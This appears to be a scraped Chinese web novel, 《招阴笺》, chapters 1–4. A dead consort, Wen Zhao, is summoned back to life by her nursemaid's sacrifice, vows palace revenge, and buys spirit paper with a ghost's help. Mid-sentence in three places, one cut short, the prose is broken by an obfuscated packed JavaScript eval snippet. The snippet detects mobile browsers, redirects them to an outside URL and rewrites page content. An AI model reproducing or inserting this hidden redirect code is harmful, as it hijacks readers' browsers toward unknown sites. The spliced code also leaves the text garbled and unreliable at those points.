《招阴笺》 1. 001 “天沉沉兮,地幽幽……”浓雾中老者左手拿着引魂幡,右手拿着骨铃,一走一停,白色的纸钱被冷风卷起。玄黑粗布长袍几乎吞没她的身形,褪色的暗红镶边像极了凝固的血痕。 “阴蔽光兮,风啾啾……”引魂幡随着阴风飘荡,乱葬岗尸横遍野,抬眼望去,老者眼睛的位置只有两个漆黑一片的空洞。 她一边拄着引魂幡一步一敲地面,骨铃一步一响。 “咚咚…叮叮”老者突然眉峰一皱,话锋一转。“黄泉路冷兮魂徘徊,孽镜台前……恨未休!”最后三个字像是从她干裂的唇缝中硬生生挤出来的,阵阵腐臭也钻入了她的鼻腔,语气也从控诉变得哽咽。 她步履蹒跚,尸水、腐肉、白色的蛆虫混杂在一起盘踞在她的赤脚上。最终她在尸堆的一处,找到了她要找的人。 肿胀灰青的脸上,大片的褐色尸斑随着腐烂而脱落,眼眶处只剩两个深陷的糜烂窟窿,空洞、茫然。 在这片腐败的温床上,蛆虫们正进行着它们盛大的饕餐之宴。它们在那些裂开的皮肉的缝隙里,在深陷的眼窝深处,在微张的口唇内,疯狂地钻探、涌动、啃噬。它们贪婪地吮吸着养分。 这就是老者要找的人,入宫半年从未侍寝便被打入冷宫的良妃娘娘,温招。 “三更鼓寂,血月当空。一缕冤魂,沉沦九幽!”老者用手中的招魂幡震了一下地面,竟震去了尸体上的驱虫和污垢。 老者空洞的双眸处竟流下了两行血泪。“天道不彰,沉冤何雪……怨气缠骨,难渡忘川舟……”她的声音悲凉而凄惨,如同盘踞在枯枝上的秃鹫,带着欲念和彷徨。 “以吾精血为引……”她咬破手指,口中尝到了腥甜,“以吾阳寿为筹!”老者的声调骤然升高,高举手中的骨铃剧烈的摇晃起来。“摇此骨铃,震碎奈河囚!”铃声刺得人耳膜生疼,老者却置若罔闻。 “魂兮!归来!”一声凌厉长啸,穿破天际。空气中沉寂了片刻,阴风也停下了脚,阵阵悲泣传入老者的脑海中。 那是温招在哭,亦是无数的冤魂野鬼在哀鸣。 “莫惧罡风烈,莫畏日光灼……”老者突然颤颤巍巍的跪了下来。“汝含冤之魄,抱恨之灵。汝骨未寒,汝泪未干。仇雠安在?岂能甘休……?”血泪落在干裂的土壤中,慢慢渗入。 老者抬起头望向天空,用尽毕生全力吐出了最后一句话:“吾以不入轮回为契,唤汝真名,温招!归来!” 老者凄厉的嘶喊如同投入死水潭的石子,瞬间搅动了凝固的空气。那一声真名唤出,仿佛冥冥中无形的枷锁被猛地挣断。 并没有预想中的狂风四期,阴风暴虐。只是在半空中,光晕越来越盛,白骨之上,一个半透明的人形轮廓开始凝聚、清晰。 残破的宫装虚影首先浮现,依稀能辨出上好的丝绸质地,却布满焦痕、撕裂的口子,白皙的脖颈处一道深紫色的淤痕清晰可见。 少女的脸颊,褪去了腐败的肿胀和尸斑,显露出白瓷干净的肌肤,肿胀糜烂的眼窝随之消失,取而代之的是一双带着痛苦、悲伤、愤恨、哀怨、和许多复杂的情绪的凤眸。 温招红着眼尾,轻唤了一声:“阿婆…”那意念波动微弱而破碎,带着孩童般的迷茫和深入骨髓的委屈。仅仅两个字,却像烧红的烙铁狠狠烫在老者早已千疮百孔的心上。 老者浑身剧震,如同被无形的重锤击中,猛地佝偻下去,额头重重磕在冰冷腥臭的腐土上。 “小姐…小姐啊…!”一声撕心裂肺的嚎哭终于冲破了她干哑的喉咙,那哭声混合着血泪的腥气,如同濒死野兽的哀鸣,凄厉地划破了乱葬岗的死寂。“是老奴没用啊……没及时赶回来……让您……让您受苦了啊……” 李婆曾是温府上的嬷嬷,温招娘亲走的早,温招便由李婆养大,温招十岁那年,温老爷无意间发现李婆是万诡门的后人,嚷着此人不详,要将李婆乱棍打死。 温招得知,跪在祠堂两天两夜,滴水未进,只为给李婆求情,因此还挨了温老爷一顿家法伺候。最终温老爷抵不过温招,便将李婆赶出家门,找人将她送到了大漠。 自此,主仆两人十年未见,再次相见,曾经捧在手心里的小娃娃,竟已成了一具冰冷的尸体。 “阿婆…你快起来…”温招下意识的想扶起李婆,指尖毫无阻碍地穿透了粗粝的布料,只留下一片冰凉的虚无感。温招怔怔地看着自己半透明的手。 是啊,她死了,是被她前世最敬爱的爹爹亲手送进后宫,被日日盼望来到的天子打入冷宫,被污蔑滥用巫蛊之术的罪名,最终在冷宫被结仇已久的皇后用一尺白绫了结…… 李婆虽看不见温招,却能感到眼前魂魄的心绪,她一手拄着招魂幡,一手扶着地面,颤颤巍巍的起身,裂开自己那张干裂的唇,哑着嗓,轻轻抬起那颤抖苍老的手:“小姐…老奴这一生漂泊无依,老爷说得对,老奴是不详之人…可老奴这一辈子,过的属实有些快了…老奴…还没看到小姐十里红妆呢……” 温招的眼尾已然一片红晕,双眉轻皱,唇瓣颤抖着微微张开,半天吐出几个字:“这是何意……” 老者用颤抖的指尖描绘着温招魂魄的轮廓,金色的晃晕带着点点银碎,出现在空中,漂浮着、迷离着、温存着…… 温招感到那早已停止的心跳重新微弱的跳动,脑海中飘荡着那些不属于她的记忆,准确来讲那些都是李婆的记忆,李婆是一位优秀伟大的通灵纸扎师,而唯一的传承便留给了她唯一挂念的温招。 脉搏的跳动,伴随着魂魄的聚拢,温招的脸上布满了那久违的咸涩泪珠。李婆的身躯渐渐的开始如流沙一般消散,温招摇着头,哭着,喊着,她要一个答案,一个她明知故问的答案。一股比乱葬岗阴风更刺骨的寒意,从她慢慢跳动的心口猛地炸开,瞬间席卷了四肢百骸。 “为什么!为什么!阿婆,不要!招儿不回去了,阿婆别走,别留下招儿一个人了!阿婆……”温招追逐着那如风一般的人,让人捉不住片片衣角的人。“小姐……这一次…老奴又要离开了……是老奴对不住小姐……” 李婆的脸上并没有面临永世不得轮回的恐惧,她不怕成为阴曹地府中的恶鬼,不怕成为漫无目的游荡的恶灵,她只怕,再也见不到她的小姐那明媚的笑脸。她轻笑着,张开了双手,此生唯一一次逾矩,莫过于此。 温招追着、赶着终是停了下来,口中轻唤出那内心尘封已久的话:“娘……”那是唤李婆的,她的第二位母亲,第一次她的阿娘因病而故,抛下了她;第二次李婆被爹爹赶走,抛下了她;如今,已是第三次…… 温招猛地一下睁开眼,刺目的烛火让她瞬间眯起了眼,心脏在胸腔里狂跳,如同擂鼓,震得她耳膜嗡嗡作响。那真实的、温热的血液奔涌的感觉,那沉重而充满生机的躯体触感,那吸入肺腑的、带着昂贵熏香与宫殿特有阴冷气息的空气……一切的一切,都如此陌生,又如此……令人窒息地真实。 不再是乱葬岗的腐臭,不再是虚无缥缈的魂体。她,温招,回来了。 她记得这是入宫第一夜,前世的她在殿门外傻站着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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镜中的少女,容颜姣好,肌肤胜雪,凤眸含情,带着初入宫闱应有的青涩与一丝不安。那是曾经的温招,那个对父爱尚存幻想、对帝王恩宠心怀憧憬的愚蠢的温招。 温招抬起手,指尖冰冷,带着一丝不易察觉的、源自灵魂深处的阴气,轻轻抚过镜面,她死死盯着镜中那双眼睛,那里面有什么东西正在疯狂滋长,将最后一丝温软彻底吞噬。 痛苦、悲伤、迷茫……统统被一种极致的冰冷和怨毒所取代。那双凤眸深处,不再是少女的澄澈,而是翻涌着乱葬岗的尸气,燃烧着李婆湮灭时的血光,沉淀着忘川河底的千年寒冰。 她的目光转向窗外,那深沉的、吞噬了无数红颜枯骨的宫墙夜色。她的意识沉入灵魂最深处,那里,一个佝偻的身影正在血光中消散。 “阿婆……”温招闭上眼,再睁开时,眸中只剩下焚烧一切的、玉石俱焚般的决绝,低声立下比地狱更深的誓言,“您用不入轮回换我归来,招儿便用这九重宫阙的滔天血浪,为您……祭奠!所有负我、害我、伤您之人,我温招在此立誓,必让他们血债血偿,剥皮拆骨,永堕无间!” 话音落下的瞬间,桌案上一盏摇曳的火,“噗”地一声,毫无征兆地熄灭了。寝殿内,彻底陷入一片死寂的黑暗。只有温招那双在暗夜里亮得惊人的、燃烧着幽冥之火的凤眸,如同两点鬼火,死死钉向那深不可测的、名为“皇宫”的深渊。 黑暗,是她归来的序曲。恨火,已点燃复仇的引线。这一世,她温招,不再是谁的女儿,谁的妃子。她是自地狱爬回人间的恶鬼,只为索命而来…… 2. 002 晨曦如缕,悄然穿过层叠的树冠,在林间筛落一地斑驳的光影,细碎的光点在微尘与苔痕间轻盈游弋。 温招正在铜镜前画眉,铜镜里映出的,已非昨日那个带着懵懂希冀的少女。素钗簪入鸦青发髻,魑惊已换好了一身利落的宫装,垂首侍立一旁。 “娘娘,”魑惊的声音依旧温软,带着一丝不易察觉的担忧,“时辰尚早,可要再用些早膳?” 温招收回目光,指尖无意识地拂过镜面。冰凉的触感让她指尖微缩,仿佛又触碰到了乱葬岗那具腐败尸骸的僵硬。她缓缓摇头,声音平淡得没有一丝波澜:“不必。随本宫出去走走。” “出去?”魑惊有些讶异。按照规矩,新妃入宫首日若无召见,本该安分待在殿内。更何况昨夜……皇帝未曾驾临,此刻出去,落在有心人眼里,怕不是徒惹非议。 温招已站起身。晨曦的光线勾勒出她纤细却挺直的背影,那身素净的宫装穿在她身上,竟透出一种冷冽的、拒人千里的气息,与这暖融的晨光格格不入。她没有解释,只是径直向外走去。 魑惊不敢多问,连忙跟上。心中那份不安却如同投入水中的墨点,迅速晕染开来。娘娘……似乎不一样了。温招那双总是含着几分怯懦与期盼的凤眸,从昨夜起便变得深不见底,魑惊摇了摇头,无论温招变成什么模样,她都是她的主子。 寻常嫔妃是不能随意进出宫门的,只是如今的温招和以前不同,随着纸扎通灵的传承,她的瞳孔变成了纯粹的黑色。纯粹的黑通向至阴之处,当然也有人称之为“阴阳瞳”。 无数的魂魄恶鬼游荡在这吃人不吐骨头的后宫之中,人死后也是分为三六九等的,上辈子做的善事多,便会不入轮回,早日脱生。做的恶事多了,便会成为打入地府的恶鬼,只是不知是范无咎偷了懒,还是狱卒忘记关了阴阳门,这后宫里的恶鬼倒是不少,恶鬼无恶不作,经常会出没作乱。还有一类,便是四处飘荡的孤魂,这些魂魄因为放不下上辈子的执念,而迟迟不愿离去,执念深了,便会成为冤魂、恶灵…或是其他可怖的东西,开始噬人心魄、吸人阳气。 温招本是想当做没看见的,只是这群孤魂之中,有一人一直盯着她看,那是一缕善魂,一位穿着华丽的女子。 “姑娘是要出宫吗?”那女子柔声开口,温招没吭声,也没给予她一丝目光,毕竟她也保不准这孤魂报的什么心思。 魑惊看着温招,从寝宫直直的走向御花园,有些疑惑,却也没出声。那女子又开口:“我知晓一条出去的路。不知姑娘可需要?”温招突然顿住了脚步,目光看向女子,这可把魑惊吓了一跳。 “娘娘怎么了?可是身体不适?”魑惊见温招突然停下脚步,顺着她直勾勾的目光看去,只有一座假山屹立在不远处。 温招冷眼看着女子没吭声,女子温婉的勾了勾唇角:“我知晓姑娘是神人,我带姑娘出去,姑娘可否帮我带会一个拨浪鼓?” 温招犹豫了片刻,随后收回了目光,微微颔首。女子心中一喜,随即往冷宫的方向飘去。温招眉头皱了皱,回头接过了魑惊手中的斗笠遮住了面容,随后跟上了女子。 朱漆宫门半掩,蛛网垂落,朽木在风中呜咽。青灰地砖爬满苔痕,踩上去绵软发腻。歪斜宫灯残破,积着灰黑烛泪。 温招随着女子来到了冷宫西面的宫墙旁,女子停了下来,温招顺着女子的目光看去,顿时两眼一黑,朱红的宫墙底部赫然是一个半米高的狗洞。 魑惊此刻是真的吃惊了,她的娘娘……不会是想从这狗洞里钻出去吧…… 温招此刻的脸色如同锅底一般。“魑惊,你先回去吧,本宫晚些便回来。”温招回眸向魑惊交代了一句,便开始打量起这个让人头疼的出口。 魑惊虽有些担忧,她也知晓温招是怕丢脸,便没再多说,便快步离开了。待魑惊一离开,她便冷着脸看向那女子:“你怎知我能看见你?”女子愣了一下便柔声开口:“阴阳两气,是不同的,姑娘的身上有阳气亦有阴气。” 温招眯了眯眼,确实自己毕竟是死过一次的人了,随后她又问道:“你确定这整个皇宫只有这一个能溜出去的出口了?”女子点了点头。“我在此地已十余载,并无其他人能溜出去的方法。” 十余载…如此久的时间,这孤魂竟没有变成冤魂,如若真的如这女子所说,那此人生前当真是心若琉璃。 “敢问姑娘芳名?”女子突然开口,温招的目光掠过那半米见方的狗洞,落在女子温婉却略显虚幻的脸上。那笑容无懈可击,如同画上去的精致面具,带着一种被时光凝固的、近乎天真的柔和。 “温招。”她淡淡开口,声音清泠,不带多余情绪。名字是身份的象征,也是试探的筹码。 “温姑娘,”女子微微福身,礼数周全得仿佛仍是这深宫中的贵人,眼中却闪过一丝不易察觉的复杂,“我姓柳……名含烟。” 柳含烟。 这个名字如同一颗小石子投入深潭,在温招死水般的心底漾开几不可察的涟漪。她记得这个名字。并非她刻意打听,而是在入宫前那段兵荒马乱的日子里,这个名字曾与某个惊动朝野的宫闱秘辛一同掠过她的耳畔。似乎是……先帝时期,一位曾宠冠六宫、却突然香消玉殒的贵妃? 难怪这身宫装华美异常,即便化作游魂,依旧透着昔日的尊贵。难怪她能在这座吃人的宫殿里飘荡十余载而不化厉鬼。那份“心若琉璃”,恐怕是经烈火淬炼后的冰封,将滔天的不甘与执念都死死压在了温婉的表象之下。 温招没有追问,只是极轻微地颔首。有些答案,刨根问底不如静待其变。她目光重新落回那狗洞上,漆黑的眼底毫无波澜。 就在温招微微俯身之际,突然狗洞的另一端突然窜出来一个人,“咚”的一声便和温招的脑袋撞到了一起,斗笠随之掉落,温招一手捂着额头,一手扶着宫墙,稳了稳身形。 从另一面钻出来的是一位青年,他左手拿着白玉折扇,乌发半束垂落,碎发拂过眉骨。眉若远山,鼻梁如玉雕,月白广袖银丝暗绣,金线鹤氅随风轻扬。本是华贵俊美之人此刻却捂着脑袋,在地上打了一个滚儿,狗洞另一侧,随之而来的是一个带刀侍卫。 温招打量了一下两人,能在皇宫里带刀的侍卫可不多,此人非富即贵。断然不可让他看清自己的面容,温招刚要捡起的斗笠,地上的青年“嗖”的一下站起身,匆匆忙忙的把狗洞里的带刀侍卫拽出来,随后看向温招。 两人对视,气氛有一瞬间的安静,那青年打量了温招片刻,脑子一转,率先开口:“在下,阮柿子,无意冒犯两位姑娘。”此人说着便从怀中取出两枚沉甸甸的金元宝,即刻塞到温招手里,另一枚,他刚要塞到柳含烟手里,却摸了个空。金元宝也“咚”的一声掉在地上。 一时间,空气又安静了。还是一旁的带刀侍卫率先反应过来,对着温招开口:“劳烦姑娘保密。”随后拉着不太聪明的“软柿子”,两人狼狈的逃走了。 温招垂眸,指尖捻着那枚沉甸甸、带着陌生人体温的金元宝。冰冷的金属触感渗入皮肤,却压不住心底一丝烦躁的涟漪。阮柿子……这名字听着便像随手捏的,糊弄鬼呢?还有那侍卫,眼神锐利如鹰,绝非寻常护卫。更麻烦的是,他们看见了自己的脸,尤其那双纯粹得近乎妖异的黑瞳。 “麻烦。”她低声自语,声音轻得像拂过枯叶的风。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908315|176822||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指尖一用力,元宝边缘被捏出浅浅的凹痕。这世上,能看见阴阳两界的人本就稀少,撞见了,要么是同道,要么……就是隐患。而隐患,自然要清理干净,断不能留。一缕极淡的、近乎实质的杀意在她漆黑的眼底一闪而逝,快得如同错觉。 柳含烟不知温招此刻的想法,她只关心温招能不能给她烧来一个拨浪鼓。“温姑娘,我去墙外等你。”说着柳含烟便穿过宫墙飘了过去。 温招皱了皱眉头,眼下看来,怕是只能如此了,她重新戴上斗笠,宽大的帽檐彻底遮住了面容。目光再次落在那半米见方的狗洞上,朱红宫墙底部这方寸之地,此刻成了她唯一的出路。 她蹲下身,素净的衣裙下摆不可避免地沾染了墙根潮湿的苔痕和尘土。动作间没有丝毫犹豫,仿佛钻的不是狗洞,而是推开一扇寻常的门扉。斗笠的边缘擦过粗糙的砖石,发出细微的摩擦声。一股混合着陈年霉味和泥土腥气的凉风扑面而来,带着宫墙外特有的、更自由的气息。 “温姑娘,”她声音轻柔,目光却带着一丝不易察觉的审视,掠过温招斗笠下被遮得严严实实的脸庞,“这外面……比宫里自在些。”这话听着像是感慨,却又带着急不可耐。 温招隔着纱帘,目光平静无波地落在柳含烟身上。这份“自在”,对孤魂而言不过是换了个更大的牢笼。她没接话,只是淡淡开口,声音透过薄纱,清泠如碎玉相击:“西市,稚趣斋。红漆檀木柄,胖娃娃抱鲤鱼。可对?” 柳含烟微微一怔,虚幻的眼睫轻颤,随即那温婉的笑容更深了些,带着一种奇异的、近乎少女的雀跃:“正是!多谢温姑娘记得这般清楚!他家的拨浪鼓,做得最是精巧,声音也脆生……”她的话语带着一种沉湎旧梦的暖意,仿佛那小小的鼓声能穿透十余载的阴寒。 温招只微不可察地点了下头,表示知晓。多余的温情,于她无用。 待一人一魂来到西市,西市靠近万民巷,在温招的印象中,整个大钰最好的私塾就在西市,想着便顺着青砖路走了过去。 温招路过私塾后院时,突然听到两个孩童在窃窃私语,本来欲走,可听到内容时,一人一魂顿住了脚步。 “诶,二郎,前几日送来的那个漂亮姑娘,你还记得不?”说话的是一个头顶扎小辫的小男孩,约莫四五岁。 “来这的姑娘多了,你讲的是哪个?”名叫二郎的是个小光头,目不转睛的盯着手里的纸青蛙。 扎小辫的男孩思索了一会:“就那个‘出教’当典妻的那个!俺娘说她在私塾后院自尽了!真晦气……” 二郎听到这像是习以为常一般,一手拄着下巴,思考了一会。“也不知,这次会放几天假呢?咱们去下水捉泥鳅吧……” 人之初,性本恶,孩童向来是最纯真又残忍,冷血又无知的。 他们口中的‘出教’是女子嫁人前,为了去夫家不碜了面子,临时送来私塾念个几天书,却又不舍得真的花钱供她们,糊弄个几天学了多少,看这帮女子的本事。 而他们口中的‘典妻’是先嫁给一位男子,之后便成为生育工具,反反复复的来回买卖,为无数的男子诞下子嗣后在痛苦绝望中死去。 温家,算的是大户人家,而温招从小便听父亲说,自己是要嫁给皇帝的,琴棋书画必须样样精通,四书五经更是要倒背如流,温招便没有成为他们口中的典妻,也不用经历所谓的出教。 可宫外的女子不同,她们出身平凡,甚至算得上的贫苦。温招看不得她们受苦,可眼下她自身难保,只得先行离开。 之后的路上,一人一魂,都安静了下来。谁也没有戳破各自的心事,只是一步一脚印的走向前方…… 3. 003 柳含烟飘在温招身侧,终是忍不住开口:“温姑娘如何看待‘典妻’?” 温招脚步顿了一下,似是没想到柳含烟会开口,更没想到她会问自己的看法,她微微摇了摇头:“据我所知,成为‘典妻’并非如今世道女子们所遭受最不公的待遇。” 温招脚步顿住时那瞬间的凝滞,以及她摇头时眼底掠过的一层薄冰似的了然,柳含烟都看在“眼”里。她明白,在这浊世泥淖里沉浮挣扎的女子,如同河底的水草,各有各的缠缚,各有各的窒息。 温招那句“并非最不公”,并非冷漠,倒像是一种更深的、浸透了无数无声哭嚎的疲惫。柳含烟将嘴边那点未尽的唏嘘咽了回去,化作一缕无声的叹息,融进坊市嘈杂的背景音里。 不多时两人便到了礼祀坊,温招已恢复了惯常的平静,那双清凌凌的眸子在熙攘人流中逡巡,目标明确。她此行是为“老张记”的土火纸而来。据李婆那斑驳如古画的记忆所载,大钰境内,土火纸一道,当属这礼祀坊深处的老张记独步。其纸色微褐,入手粗粝坚韧,浸染朱砂符墨时,不洇不散,最能承载灵力,亦最能沟通幽冥地火之气,是画符设箓的上品。 七拐八绕,避开几个扛着巨大香烛、汗气熏人的脚夫,又绕过一个挤满各色纸扎人马的摊子,那些纸人纸马画得眉眼模糊,透着股说不出的诡异呆滞。终于在一处相对僻静的角落,看到了“老张记”那面褪色得几乎认不出字迹的布招子。 铺面不大,门脸陈旧,木头的颜色已被岁月和香火熏的乌褐。门口堆着一摞摞捆扎整齐的土黄色纸卷,空气里弥漫着一股干草木灰烬混合着微弱硫磺的气息,这便是土火纸特有的味道了。 温招抬步迈过门槛。铺子里光线有些暗,只有一扇窄小的木窗透进些天光,照亮空气中飞舞的细小尘埃。柜台后,一个佝偻着背、头发稀疏花白的老头正埋首整理一叠新裁好的纸页,听见脚步声,慢吞吞地抬起头来。 老头脸上沟壑纵横,眼珠有些浑浊,目光落在温招身上时,没什么特别的情绪,如同看待一件寻常的货物。 “买纸?”声音沙哑,像粗糙的砂纸摩擦。 “嗯,”温招的声音清泠,在这昏暗纸气弥漫的小铺里显得格外清晰,“要最好的土火纸,有多少要多少。” 柜台后的老张头,那浑浊的眼珠终于不再是看待寻常货物的漠然。他枯瘦的手指原本正无意识地捻着一张纸角,此刻猛地顿住。那张布满沟壑、如同被岁月风刀反复刻凿过的老脸上,肌肉似乎极其轻微地抽搐了一下。 他缓慢地、极其缓慢地抬起了头。这一次,他那双仿佛蒙着厚厚尘翳的眼睛,不再是随意一瞥,而是真正地、带着一种近乎审视的锐利,落在了温招身上。 他从上到下打量了眼前的女子一番,她面容年轻苍白如纸,透着久病未愈的羸弱。眉眼清秀却疏离,恰似远山薄雾般朦胧。最摄人心魄的是那双眼睛,清冽深邃如寒潭,平静中藏尽世间悲苦,望一眼便似要被吸入无尽深渊。 老张头的目光在她脸上停留了很久,他的喉结上下滚动了一下,发出干涩的“咕噜”声,沙哑的声音响起。 “姑娘……要这许多土火纸,作何用场?” 他浑浊的视线紧紧锁着温招,不放过她脸上任何一丝细微的变化。“寻常人家,便是大户做白事,也用不了这许多。这东西……烧给下面,讲究的是一个心意通达,多了,反而驳杂不纯,易生事端。” 他的话语带着一种在生死纸灰堆里浸淫了大半辈子的人才有的、近乎警告的意味。那枯瘦的手指下意识地摩挲着柜台边缘积年的污垢,指甲缝里深褐色的纸屑在昏暗光线下,如同凝固的血痂。 柳含烟飘在温招身后,能清晰地“看”到老张头眼中那份骤然升起的、混杂着惊疑、忌惮甚至是一丝隐秘恐惧的复杂情绪。这老头浑浊的眼睛里,此刻仿佛掀起了浑浊的暗流。他显然察觉到了温招的不同寻常。 一个年轻貌美的姑娘,孤身一人,在这充斥着冥物气息的礼祀坊深处,张口就要买空他最好的、也是最能沟通幽冥的土火纸。这本身,就是一种无声的惊雷。 温招迎着他的审视,脸上依旧没有丝毫波澜。她甚至没有立刻回答,只是微微偏过头,目光扫过铺子角落里那些堆积的锡箔元宝和花花绿绿的“往生钱”,那眼神平淡无波,像是在看一堆无用的尘土。然后,她才缓缓转回视线,重新对上老张头那双探究又警惕的眼睛。 她的唇瓣微启,声音不高,却清晰地穿透了铺子里沉滞的空气,带着一种不容置疑的冷冽: “张老丈,”她并未直接回答用途,反而提起了那个尘封已久的名字,“李婆说过,您这里的纸,最能‘承得住’。” “李婆”二字,如同投入滚油的一滴水。 老张头佝偻的身躯猛地一震!他那双浑浊的眼睛瞬间睁大,瞳孔深处仿佛有某种深埋的、属于旧时光的惊悸被猝然惊醒!握着纸角的手指不受控制地一紧,那张粗糙的土火纸竟被他生生捏皱了一角。 李婆永世不得轮回,旁人可能会不记得,可眼前的老头,也并非常人。人,有三魂七魄,他幼时被恶鬼食过一魄,便一直病怏怏。后与李婆相识,李婆抓住那只恶鬼,将那一魄归还与他,他那一魄上,有着李婆的手笔。旁人或许记不得李婆了,可眼前之人,断不会忘记。 温招没给老头询问的机会,只是抬手指了指角落里堆积的那些的锡箔元宝和往生钱。“这些…也帮我包起来吧。” 老张头佝偻着老腰回过神,突然释然的笑了两声,带着怀念的开口:“是她叫你来的啊……可否方便问一下,姑娘你是她的什么人?” 温招听到这,睫毛不由自主的颤了颤,喉咙紧了紧,吐出一句:“她是我娘……” “娘”字出口的瞬间,空气仿佛凝固了。铺子里弥漫的纸灰与硫磺气味似乎都沉滞下来,连窗外透入的那缕天光里飞舞的尘埃也凝在了半空。 老张头那枯树皮般布满深壑的脸猛地一僵,浑浊的瞳孔骤然收缩,仿佛被这轻飘飘一个字狠狠烫了一下。他佝偻的背脊挺直了一瞬,又迅速塌陷下去,比先前更低了几分。 柳含烟屏住了“呼吸”,她能“看”到老头浑浊眼底掀起的滔天巨浪。那是一种极致的震惊,混杂着不敢置信的狂喜,还有深不见底的、属于旧日时光的痛楚与怜惜,如同被骤然唤醒的、沉寂多年的火山。然而,这汹涌的情绪并未喷薄而出,反而被他死死地按在了那张刻满风霜的老脸之下。 他没有惊呼,没有追问,甚至连一个“啊”字都没有。他没有问为什么李婆没有提过,也没有问她和李婆为何一点都不像。 时间在沉滞的空气里无声流淌。只有他指尖划过粗粝纸面发出的“沙沙”轻响,以及窗外隐约传来的、坊市遥远的喧嚣。 终于,老张头抬起头。他脸上纵横的沟壑似乎更深了些,但那双浑浊的眼睛里,先前所有的惊疑、忌惮、恐惧都已褪去,取而代之的是一种近乎温厚的、带着尘埃落定般沧桑的柔光。他不再审视,不再探究,目光落在温招苍白却沉静的侧脸上,就像看着自家窗台上那盆养了多年、虽不名贵却小心呵护的兰草。 “……好。”他终于开口,声音比之前更加沙哑,却奇异地多了一丝不易察觉的暖意,如同冬日里灶膛深处未熄的余烬。“好孩子。” 没有多余的言语。他没有问李婆如何,没有问温招为何孤身一人,更没有追问她索要如此多的土火纸和冥钱究竟要做什么惊天动地的事。仿佛“李婆”和“娘”这两个字,已经穿透了所有尘封的岁月和阴阳的界限,将他与眼前这姑娘牢牢地系在了一起。 他转过身,动作依旧迟缓,却带上了一种不容置疑的沉稳和利落。不再像对待一个古怪的顾客,而是像对待自家需要照顾的小辈。 “等着。”他简短地说了一句,便佝偻着身子,走向铺子深处那堆满了土黄纸卷的角落。他不再挑选,径直搬起一摞捆扎得最紧实、颜色最深沉的纸卷,步履蹒跚却异常坚定地走回来,“砰”地一声放在柜台上,激起一小片纸灰。 接着,他又走向那堆花花绿绿的往生钱和锡箔元宝,没有半分嫌弃,粗糙的手掌拢过一大堆,动作间带着一种熟稔的、近乎本能的妥帖。他甚至拿起几张品相最好的锡箔元宝,仔细地叠放在最上面,像在准备一份给远行孩子压箱底的盘缠。 他将所有的火纸和冥钱用厚实的油纸仔细包裹了好几层,又用坚韧的草绳捆扎得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“……这……”老张头的声音干涩得如同砂纸摩擦朽木,每一个字都吐得异常艰难,“孩子……用不着……”他枯槁的手指无意识地蜷缩着,想推开那些金灿灿的东西,却又似乎被那光芒灼得不敢触碰。“你娘……她当年……也从不……而且……这给多了……” 他语无伦次,想提起李婆的旧事,却又不知如何说起,最终化作一声更沉重的叹息。 “老丈,”她的声音不高,却带着一种不容置疑的平静,“纸钱火烛,皆有成本。您开门营生,这是应当的。碎银是今日之资,这枚元宝……”她顿了顿,目光扫过铺子里堆积如山的土黄纸卷,“权当日后叨扰的订金。” 她的目光坦荡而清澈,没有施舍的意味,也没有商贾的精明,只有一种近乎冰冷的务实。仿佛在说:这浊世,情义要记,但该付的代价,一分也不能少。您的情我领,但您的生计,我也不能白占。 老张头浑浊的双眼死死盯着那枚被推到自己面前的元宝,又抬眼看看温招那张苍白却坚定得近乎固执的脸。 他脸上的肌肉剧烈地抽搐了几下,那深埋的、属于老人特有的倔强似乎想让他再次拒绝。可最终,那点倔强在对上温招那双深不见底的眸子时,如同冰雪般消融了。 “……唉。”又是一声悠长而沉重的叹息,仿佛吐尽了肺腑里所有的浊气,也卸下了最后一点无用的坚持。 他不再推拒,只是伸出那只枯瘦、指甲缝里嵌着深褐色纸屑如同干涸血迹的手,极其缓慢地、带着一种近乎认命的沉重,将那一小堆碎银拢到自己面前,粗糙的指尖将它们拨拉到柜台角落一个积满纸灰的木匣里,发出沉闷的“哗啦”轻响。 至于那枚金元宝,他碰也没碰,任由它孤零零地躺在柜台边缘,散发着与这破败纸铺、与这弥漫着死亡与尘埃气息的礼祀坊格格不入的、冰冷而沉重的光芒。那光芒刺得他浑浊的眼珠生疼,也像一块烧红的烙铁,烫在他心头那点刚刚升起的、属于“长辈”的温热上。 “碎银……够了。”他沙哑地说,声音低得几乎被空气里悬浮的纸灰淹没。每一个字都像是从干涸的井底费力地汲上来。 温招顿了顿,将那两枚金元宝也轻轻推到了柜台最里面,一个被阴影笼罩的角落。随后她紧了紧包裹,带着柳含烟,一步便跨出了老张记那低矮、被岁月熏得乌黑的门槛。 温招脚步轻快,这材料买完了,也该回去跟后宫里那些姐姐妹妹们算算账了…… 4. 004 上一世的温招,曾喜欢过一个男人,那人是全天下最尊贵的男子,亦是大钰的主人。从她生下来的那一刻起,她的命运便被安排好了。 “正月十八,温府诞有两女,其中一女,卯时一刻诞,卯属木,身负朝阳命,旺夫益子,入宫有望啊。另一女……酉时一刻诞……酉属金,日落西山,阴气渐盛,恐会影响国运啊……” 这是当年司天监下的结论,温招则是他们口中的前者,从小她便知道,自己是要嫁给皇帝的。至于那位后者,温招根本不知晓她的存在,也没人知道,那女婴到底去了哪。 